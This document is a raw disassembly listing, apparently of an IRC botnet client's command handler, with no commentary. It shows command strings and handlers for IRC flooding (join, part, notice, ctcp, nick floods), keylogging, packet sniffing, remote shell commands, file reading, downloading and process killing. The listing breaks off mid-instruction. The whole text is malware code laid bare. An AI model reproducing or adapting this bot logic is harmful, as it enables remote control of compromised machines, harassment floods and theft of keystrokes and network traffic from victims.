push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push edi push 10h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C4] push offset unk_42B9E4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B3BA add esp, 18h mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset byte_40BB65 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_404BA0 loc_404B8A: ; CODE XREF: sub_401ACD+30D1j cmp [ebp+var_13E0], ebx jnz loc_4081AD push 32h nop call near ptr 2680EBDh jmp short loc_404B8A ; --------------------------------------------------------------------------- loc_404BA0: ; CODE XREF: sub_401ACD+30BBj nop call near ptr 26908B8h push eax push offset unk_42B9A4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aRin ; "rin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4057B7 nop call near ptr 26A0891h push eax call sub_41C2B8 push edi push offset aLoad ; "load" call sub_41CA50 add esp, 0Ch test eax, eax jnz short loc_404CB7 cmp [ebp+esi+var_80], ebx jz short loc_404CB7 push [ebp+esi+var_80] call sub_41C159 pop ecx push eax push [ebp+esi+var_84] call sub_41C159 pop ecx push eax push [ebp+esi+var_88] call sub_417E06 add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B93C push eax call sub_41C266 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CB7 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_404CB7: ; CODE XREF: sub_401ACD+3173j ; sub_401ACD+3179j ... push edi push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D21 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D21 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_47F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D21: ; CODE XREF: sub_401ACD+31F9j ; sub_401ACD+3204j push edi push offset dword_42B920 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D8B mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D8B push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4AF4] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B90C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D8B: ; CODE XREF: sub_401ACD+3263j ; sub_401ACD+326Ej push edi push offset aNt ; "nt" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404DF5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DF5 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_48F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404DF5: ; CODE XREF: sub_401ACD+32CDj ; sub_401ACD+32D8j push edi push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E5F mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E5F push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4FF8] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404E5F: ; CODE XREF: sub_401ACD+3337j ; sub_401ACD+3342j push edi push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E9C mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404E9C push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404E9C: ; CODE XREF: sub_401ACD+33A1j ; sub_401ACD+33ACj push edi push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404ED9 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404ED9 push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404ED9: ; CODE XREF: sub_401ACD+33DEj ; sub_401ACD+33E9j push edi push offset aPartflood ; "partflood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F1B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F1B push offset dword_427620 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404F1B: ; CODE XREF: sub_401ACD+341Bj ; sub_401ACD+3426j push edi push offset aPnick ; "pnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F92 cmp [ebp+esi+var_88], ebx jz short loc_404F92 call near ptr 26A0891h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42B89C push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404F92: ; CODE XREF: sub_401ACD+345Dj ; sub_401ACD+3466j push edi push offset dword_42B888 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4050E9 cmp [ebp+esi+var_88], ebx jz loc_4050E9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427620 push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2680EBDh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2680EBDh push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 0C8h idiv ecx push edx call near ptr 2680EBDh nop push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4050E9: ; CODE XREF: sub_401ACD+34D4j ; sub_401ACD+34E1j push edi push offset dword_42B884 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405181 cmp [ebp+esi+var_88], ebx jz short loc_405181 nop call near ptr 26A0891h push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B85C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 24h loc_405181: ; CODE XREF: sub_401ACD+362Bj ; sub_401ACD+3638j push edi push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405289 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405289 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F lea eax, [ebp+var_4BC] push eax call sub_417E84 add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680EBDh lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 1F4h idiv ecx push edx call near ptr 2680EBDh nop lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_405289: ; CODE XREF: sub_401ACD+36C3j ; sub_401ACD+36D2j push edi push offset aChgnick ; "chgnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4052CE lea eax, [ebp+var_180C] push eax call sub_417E84 pop ecx lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4052CE: ; CODE XREF: sub_401ACD+37CBj push edi push offset aMsg ; "msg" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4053C3 cmp [ebp+esi+var_88], ebx jz loc_4053C3 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx call near ptr 2680EBDh nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx call near ptr 2680EBDh nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4053C3: ; CODE XREF: sub_401ACD+3810j ; sub_401ACD+381Dj push edi push offset aNotice_0 ; "notice" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4054B8 cmp [ebp+esi+var_88], ebx jz loc_4054B8 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx call near ptr 2680EBDh nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2680EBDh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4054B8: ; CODE XREF: sub_401ACD+3905j ; sub_401ACD+3912j push edi push offset aCtcp ; "ctcp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4055D9 cmp [ebp+esi+var_88], ebx jz loc_4055D9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680EBDh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7FC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680EBDh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680EBDh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4055D9: ; CODE XREF: sub_401ACD+39FAj ; sub_401ACD+3A07j push edi push offset aMix ; "mix" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405709 cmp [ebp+esi+var_88], ebx jz loc_405709 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680EBDh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 2680EBDh nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2680EBDh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_405709: ; CODE XREF: sub_401ACD+3B1Bj ; sub_401ACD+3B28j push edi push offset aRegister ; "register" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40574D mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40574D push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj ; sub_401ACD+3C56j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40619B mov [ebp+arg_18], offset dword_4D4A5C loc_405769: ; CODE XREF: sub_401ACD+3CC0j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577F mov eax, [eax] cmp eax, ebx jbe short loc_40577F push eax call dword_4CBA6C loc_40577F: ; CODE XREF: sub_401ACD+3CA3j ; sub_401ACD+3CA9j add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4DB17C jl short loc_405769 cmp [ebp+var_8], ebx jnz loc_40619B push ebx push [ebp+var_4] push offset unk_42B784 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_40619B ; --------------------------------------------------------------------------- loc_4057B7: ; CODE XREF: sub_401ACD+3151j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aN ; "n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aJ ; "j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aPt ; "pt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aRaw ; "raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aPr ; "pr" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aOpen ; "open" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aO ; "o" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aServer ; "server" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aSe ; "se" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aDns ; "dns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aDn ; "dn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKp ; "kp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKill ; "kill" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aKi ; "ki" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aDel ; "del" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aGet ; "get" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aGt ; "gt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aList ; "list" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aLi ; "li" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aVisit ; "visit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aV ; "v" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aCm ; "cm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aRf ; "rf" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C9F push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C67 push 20h call sub_40B602 test eax, eax pop ecx jle short loc_405B91 push offset dword_42B68C jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405B91: ; CODE XREF: sub_401ACD+40B8j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD3 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405BD3 mov esi, [ebp+var_88] loc_405BD3: ; CODE XREF: sub_401ACD+40E8j ; sub_401ACD+40FEj push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B65C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B3BA add esp, 14h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset byte_412B61 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405C56 loc_405C40: ; CODE XREF: sub_401ACD+4187j cmp [ebp+var_ECC], ebx jnz loc_4081AD push 32h nop call near ptr 2680EBDh jmp short loc_405C40 ; --------------------------------------------------------------------------- loc_405C56: ; CODE XREF: sub_401ACD+4171j call near ptr 26908B8h nop push eax push offset dword_42B620 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C67: ; CODE XREF: sub_401ACD+40A8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 20h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405C95 push eax push offset dword_42B5E4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C95: ; CODE XREF: sub_401ACD+41BBj push offset dword_42B5B8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405C9F: ; CODE XREF: sub_401ACD+4093j push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DEF push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DB7 push 21h call sub_40B602 test eax, eax pop ecx jle short loc_405CE1 push offset unk_42B590 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405CE1: ; CODE XREF: sub_401ACD+4208j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D23 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405D23 mov esi, [ebp+var_88] loc_405D23: ; CODE XREF: sub_401ACD+4238j ; sub_401ACD+424Ej push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B564 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B3BA add esp, 14h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131EC push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405DA6 loc_405D90: ; CODE XREF: sub_401ACD+42D7j cmp [ebp+var_E38], ebx jnz loc_4081AD push 32h call near ptr 2680EBDh nop jmp short loc_405D90 ; --------------------------------------------------------------------------- loc_405DA6: ; CODE XREF: sub_401ACD+42C1j nop call near ptr 26908B8h push eax push offset unk_42B528 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DB7: ; CODE XREF: sub_401ACD+41F8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 21h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405DE5 push eax push offset unk_42B4EC jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DE5: ; CODE XREF: sub_401ACD+430Bj push offset unk_42B4C0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405DEF: ; CODE XREF: sub_401ACD+41E3j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405EC2 push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405E8A push 2 call sub_40B602 test eax, eax pop ecx jle short loc_405E2D push offset dword_42B498 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405E2D: ; CODE XREF: sub_401ACD+4354j lea eax, [ebp+var_2C4] push offset dword_42B46C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_410BFD push ebx push ebx nop call near ptr 2690000h imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz loc_4081AD nop call near ptr 26908B8h push eax push offset dword_42B438 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405E8A: ; CODE XREF: sub_401ACD+4348j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 2 call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405EB8 push eax push offset dword_42B400 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405EB8: ; CODE XREF: sub_401ACD+43DEj push offset dword_42B3E0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405EC2: ; CODE XREF: sub_401ACD+4333j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aNet ; "net" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40616D cmp dword_4CBAA4, ebx jz short loc_405F4F cmp dword_4CBACC, ebx jz short loc_405F4F push offset unk_42B388 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405F4F: ; CODE XREF: sub_401ACD+446Ej ; sub_401ACD+4476j cmp [ebp+var_C], ebx jz loc_406BFE mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F77 push eax push [ebp+var_C] call sub_41C2E0 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F77: ; CODE XREF: sub_401ACD+449Aj push edi push offset aStart ; "start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FC3 cmp [ebp+arg_18], ebx jz short loc_405F97 push [ebp+arg_0] push 3 jmp loc_406021 ; --------------------------------------------------------------------------- loc_405F97: ; CODE XREF: sub_401ACD+44BEj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418EA8 add esp, 0Ch test eax, eax jz short 